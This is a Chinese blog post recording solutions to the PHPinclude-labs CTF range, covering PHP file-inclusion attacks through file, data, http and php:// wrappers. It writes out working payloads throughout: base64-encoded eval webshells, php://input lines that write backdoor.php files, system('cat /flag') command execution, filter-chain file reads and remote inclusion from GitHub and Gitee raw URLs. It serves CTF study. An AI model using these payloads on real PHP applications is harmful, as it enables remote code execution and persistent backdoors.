首页 > 编程语言 >phpinclude-labs做题记录

phpinclude-labs做题记录

时间:2024-08-28 12:03:42浏览次数:4  
标签:filter resource Level base64 labs flag 做题 php phpinclude

Level 1 file协议



payload:?wrappers=/flag

Level 2 data协议

去包含data协议中的内容其实相当于进行了一次远程包含,所以data协议的利用条件需要 php.ini 中开启 allow_url_fopen 和 allow_url_include
GET: ?wrappers=, 然后 POST:helloctf=system('cat /flag');

Level 3 data协议_2

用base64编码进行绕过
根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。
Payload:
GET: ?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4, POST:hell=system('cat /flag');

Level 4 http:// & https:// 协议

GET:?wrappers=127.0.0.1/backdoor.txt POST:ctf=system('cat /flag');

Level 5 http:// & https:// 协议_2

本题使用远端包含:

GET:?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI POST:a=system('cat /flag');

Level 6 php:// 协议

php://input + [<?= system('tac flag.???');?>]
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>]

php://filter//resource=/flag
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php

Level 7 php://input 协议

<?php eval($_GET['ctf']); ?> /* 间接代码执行 */ 

<?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* 生成后门木马 */ 

<?= system('tac flag.???');?> /* 直接命令执行 */  

Level 8 php://filter_过滤器&字符串过滤器

?wrappers=filter/string.rot13/resource=/flag

Level 9 php://filter_转换过滤器

?wrappers=filter/convert.base64-encode/resource=flag.php

Level 10 文件系统函数_file_get_contents()

php://filter/string.toupper/resource=/flag (正则并没有匹配大小写)
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag

Level 11 文件系统函数_file_put_contents()

Payload:
GET:?filename=php://filter/write=convert.base64-decode/resource=backdoor.php
POST:data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4

backdoor.php :

Level 11- 封装协议解析

string.rot13

string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

convert.base64-encode 和 convert.base64-decode

convert.iconv.. 或 convert.iconv./

Level 11+ 死亡绕过


对内容填充两个字符后可以使前方无效后方正常解析。

GET:?filename=php://filter/write=convert.base64-decode/resource=shell.php
POST:data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4

Level 12 LFI&&RFI

LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。
本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。

?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。

标签:filter,resource,Level,base64,labs,flag,做题,php,phpinclude
From: https://www.cnblogs.com/fupo1/p/18384383

相关文章

  • 8月做题记录
    感觉再不写做题记录会废的这个博客用惯了,懒得再用原来那个写了Latex不是很会,应该会比较乱CF1995D首先可以转化一下题意,变成先选出一个字符集(必须包含字符串的最后一个字母),使得字符集里的字母在字符串中的位置前后相差不超过k,询问字符集的大小最小为多少加上字符集<=18,这个......
  • sql-labs36-40通关攻略
    第36关一.判断闭合点http://127.0.0.1/Less-36/?id=1%df%20--+http://127.0.0.1/Less-36/?id=1%df%20--+二.查询数据库http://127.0.0.1/Less-36/?id=-1%df%27%20union%20select%201,database(),3--+http://127.0.0.1/Less-36/?id=-1%df%27%20union%20select%201,database(......
  • sqli-labs靶场通关攻略(36-40关)
    第36关(宽字节注入(BypassMySQLRealEscapeString))查数据库?id=-1%df%27%20union%20select%202,database(),3%20--+ 查表?id=-1%df'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()--+查列?id=-1%df'uni......
  • dp做题记录
    树形dpP3177[HAOI2015]树上染色初看此题时,dp状态很明显是两维,但是合并子树时答案难于统计,然后……就不会了qwq。既然不通,考虑改变dp数组的含义,记\(dp_{i,j}\)表示当前\(i\)的子树中将\(j\)个点染黑对总答案的贡献。但是这样直接计算两点距离就变得更难了,考虑两......
  • xss-labs靶场通关攻略
    第一关我们来到第一关发现什么提示也没有试着输一个<script>alert()</script>第一关还是简单的直接输入就可以了第二关一,我们尝试在搜索框输入<script>alert()</script>发现没有成功二,查看一下源代码输入的<script>alert()</script>在<input>标签的value中,需要">闭合......
  • sqli-labs靶场通关攻略 31-35
    主页有sqli-labs靶场通关攻略1-30第三一关less-31闭合方式为?id=1&id=1")--+步骤一:查看数据库名http://127.0.0.1/less-31/?id=1&id=-1%22)%20union%20select%201,database(),3%20--+ 步骤二:查看表名http://127.0.0.1/less-31/?id=1&id=-1%22)%20union%20select%2......
  • MSSQL SQLi Labs 手工注入靶场
    less-1步骤一:判断注入方式 ?id=1'--+步骤二:判断后台是否是MYSQL数据库?id=1'andexists(select*fromsysobjects)--+步骤三:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限?id=-1'unionselect1,user,is_srvrolemember('public');-......
  • sqli-labs靶场通关攻略(31-35关)
    第31关(")闭合)查数据库?id=")unionselect1,2,database()--+查表?id=")unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='security'--+查列?id=")unionselect1,2,group_concat(column_nam......
  • sqli-labs靶场通关攻略(20-40)
    第二十一关登陆后显示如下图界面,感觉和cookie注入有些相似进行抓包,发现cookie被编码返回来查看源代码,发现这里被base64编码我们将抓到的包发至重放器,在cookie字段写入查询代码并改为base64编码发送请求即可得到数据库名剩余操作大家自行查询第二十二关登陆后显示......
  • sqli-labs靶场通过攻略(21~40)
    第二十一关这里用了base64编码加密进来可以看到来到在线加密把咱们的语句加密一下加密前:admin'andupdatexml(1,concat('~',(selectdatabase()),'~'),1)and'这是加密后的语句YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhb......